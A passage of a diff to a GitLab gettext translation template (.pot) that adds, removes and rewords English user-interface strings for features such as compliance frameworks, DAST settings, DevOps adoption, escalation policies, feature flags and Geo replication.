-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7756,12 +7546,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7834,6 +7618,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9335,9 +9098,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11791,9 +11593,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,13 +11920,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -15991,13 +15655,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
